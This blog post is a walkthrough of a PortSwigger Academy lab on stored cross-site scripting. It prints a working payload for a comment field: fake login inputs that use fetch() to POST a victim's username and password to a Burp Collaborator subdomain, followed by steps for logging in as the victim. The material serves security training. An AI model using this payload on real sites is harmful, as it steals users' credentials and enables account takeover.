13.30 Lab: Exploiting cross-site scripting to capture passwords

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account | Karthikeyan Nagaraj

Karthikeyan Nagaraj
2 min read6 days ago

Description

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s username and password then use these credentials to log in to the victim’s account.

Note

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.

Some users will notice that there is an alternative solution to this lab that does not require Burp Collaborator. However, it is far less subtle than exfiltrating the credentials.

Solution

  1. Using Burp Suite Professional, go to the Collaborator tab.
  2. Click “Copy to clipboard” to copy a unique Burp Collaborator payload to your clipboard.
  3. Submit the following payload in a blog comment, inserting your Burp Collaborator subdomain where indicated:
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

4. This script will make anyone who views the comment issue a POST request containing their username and password to your subdomain of the public Collaborator server.

5. Go back to the Collaborator tab, and click “Poll now”. You should see an HTTP interaction. If you don’t see any interactions listed, wait a few seconds and try again.

6. Take a note of the value of the victim’s username and password in the POST body.

7. Use the credentials to log in as the victim user.

--

--

Karthikeyan Nagaraj

Security Researcher | Bug Hunter | Web Pentester | CTF Player | TryHackme Top 1% | AI Researcher | Blockchain Developer